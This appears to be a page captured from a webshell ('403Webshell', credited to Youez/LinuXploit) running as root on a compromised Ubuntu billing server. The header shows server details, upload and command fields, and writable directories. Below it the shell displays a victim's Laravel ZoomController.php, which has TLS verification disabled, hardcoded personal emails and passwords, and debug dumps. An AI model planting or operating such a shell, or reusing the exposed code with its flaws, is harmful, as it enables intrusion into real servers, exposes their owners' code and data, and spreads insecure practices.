403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/billing/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/billing/app/Http/Controllers/ZoomController.php
<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use App\Models\Zoom;
use App\Traits\ZoomMeetingTrait;
class ZoomController extends Controller
{
    use ZoomMeetingTrait;

    const MEETING_TYPE_INSTANT = 1;
    const MEETING_TYPE_SCHEDULE = 2;
    const MEETING_TYPE_RECURRING = 3;
    const MEETING_TYPE_FIXED_RECURRING_FIXED = 8;

    public function list(Request $request)
{
    $path = 'users/me/meetings';
    $response = $this->zoomGet($path);

    $data = json_decode($response->body(), true);
    $data['meetings'] = array_map(function (&$m) {
        $m['start_at'] = $this->toZoomTimeFormat($m['start_time'], $m['timezone']);
        return $m;
    }, $data['meetings']);

    return [
        'success' => $response->ok(),
        'data' => $data,
    ];
}
    public function show($id)
    {
        $meeting = $this->get($id);

        return view('meetings.index', compact('meeting'));
    }

    public function store(Request $request)
    {
        $this->create($request->all());

        return redirect()->route('meetings.index');
    }

    public function update($meeting, Request $request)
    {
        $this->update($meeting->zoom_meeting_id, $request->all());

        return redirect()->route('meetings.index');
    }

    public function destroy(ZoomMeeting $meeting)
    {
        $this->delete($meeting->id);

        return $this->sendSuccess('Meeting deleted successfully.');
    }

	function callback(){
		try {
		    $client = new \GuzzleHttp\Client(['base_uri' => 'https://zoom.us','verify'=>false]);
			
		    $response = $client->request('POST', '/oauth/token', [
		        "headers" => [
		            "Authorization" => "Basic ". base64_encode(env('ZOOM_API_KEY').':'.env('ZOOM_API_SECRET'))
		        ],
		        'form_params' => [
		            "grant_type" => "authorization_code",
		            "code" => $_GET['code'],
		            "redirect_uri" => env('ZOOM_REDIRECT_URL')
		        ],
		    ]);
		 
		    $token = json_decode($response->getBody()->getContents(), true);
	
		    $zoom = new Zoom();
		    $zoom->update_access_token(json_encode($token));
		    echo "Access token inserted successfully.";
		} catch(Exception $e) {
		    echo $e->getMessage();
		}
	}

	function create_meeting(Request $request) {
	    $client = new \GuzzleHttp\Client(['base_uri' => 'https://api.zoom.us','verify'=>false]);
		$email ="neha@gmail.com";
	    $zoom = new Zoom();
	    $arr_token = $zoom->get_access_token();
	    $accessToken = $arr_token->access_token;
	   try{
		$response = $client->request('POST', '/v2/users', [
			"headers" => [
				"Authorization" => "Bearer $accessToken"
			],
			'json' => [
				
				
					"user_info"=>[
						"email"=> "neha@gmail.com",
						"first_name"=> "Neha",
						"last_name"=> "Kumari",
						"display_name"=> "Neha Neha",
						"password"=> "12345678",
						"type"=> 1,
						"feature"=>[
							"zoom_phone"=> false,
							"zoom_one_type"=> 16
						],
						"plan_united_type"=> "1"
					
					
				],
				"action" => "create",
				
			],
		]);
 
		$data = json_decode($response->getBody());
		dd($data);
		
 
	} catch(Exception $e) {
		if( 401 == $e->getCode() ) {
			$refresh_token = $zoom->get_refresh_token();
 
			$client = new \GuzzleHttp\Client(['base_uri' => 'https://zoom.us']);
			$response = $client->request('POST', '/oauth/token', [
				"headers" => [
					"Authorization" => "Basic ". base64_encode(env('ZOOM_CLIENT_ID').':'.env('ZOOM_CLIENT_SECRET'))
				],
				'form_params' => [
					"grant_type" => "refresh_token",
					"refresh_token" => $refresh_token
				],
			]);
			$zoom->update_access_token($response->getBody());
 
			$this->create_meeting();
		} else {
			echo $e->getMessage();
		}
	}
	    try {
	        $response = $client->request('POST', '/v2/users/me/meetings', [
	            "headers" => [
	                "Authorization" => "Bearer $accessToken"
	            ],
	            'json' => [
					"assistants"=> [
					
						  "email"=> "nehakumar@gmail.com",
						  "id"=> "12324354"
						
					],
	                "topic" => "Let's learn Laravel",
					//"schedule_for"=>"nehakumar@gmail.com",
					"allow_multiple_devices"=>true,
					"email"=>"sonuma@gmail.com",//participents email
	                "type" => 2,
	                "start_time" => "2023-06-26T20:30:00",
	                "duration" => "30", // 30 mins
	                "password" => "123456"
	            ],
	        ]);
	 
	        $data = json_decode($response->getBody());
			dd($data);
	        echo "Join URL: ". $data->join_url;
	        echo "<br>";
	        echo "Meeting Password: ". $data->password;
	 
	    } catch(Exception $e) {
	        if( 401 == $e->getCode() ) {
	            $refresh_token = $zoom->get_refresh_token();
	 
	            $client = new \GuzzleHttp\Client(['base_uri' => 'https://zoom.us']);
	            $response = $client->request('POST', '/oauth/token', [
	                "headers" => [
	                    "Authorization" => "Basic ". base64_encode(env('ZOOM_CLIENT_ID').':'.env('ZOOM_CLIENT_SECRET'))
	                ],
	                'form_params' => [
	                    "grant_type" => "refresh_token",
	                    "refresh_token" => $refresh_token
	                ],
	            ]);
	            $zoom->update_access_token($response->getBody());
	 
	            $this->create_meeting();
	        } else {
	            echo $e->getMessage();
	        }
	    }
	}

	function list_meetings($next_page_token = '') {
	    $zoom = new Zoom();
	    $arr_token = $zoom->get_access_token();
	    $accessToken = $arr_token->access_token;

	    $client = new \GuzzleHttp\Client(['base_uri' => 'https://api.zoom.us','verify'=>false]);
	  
	    $arr_request = [
	        "headers" => [
	            "Authorization" => "Bearer $accessToken"
	        ]
	    ];
	 
	    if (!empty($next_page_token)) {
	        $arr_request['query'] = ["next_page_token" => $next_page_token];
	    }
	 
	    $response = $client->request('GET', '/v2/users/me/meetings', $arr_request);
	     
	    $data = json_decode($response->getBody());
	 
	    if ( !empty($data) ) {
	        foreach ( $data->meetings as $d ) {
	            $topic = $d->topic;
	            $join_url = $d->join_url;
	            echo "<h3>Topic: $topic</h3>";
	            echo "Join URL: $join_url";
	        }
	 
	        if ( !empty($data->next_page_token) ) {
	            list_meetings($data->next_page_token);
	        }
	    }
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit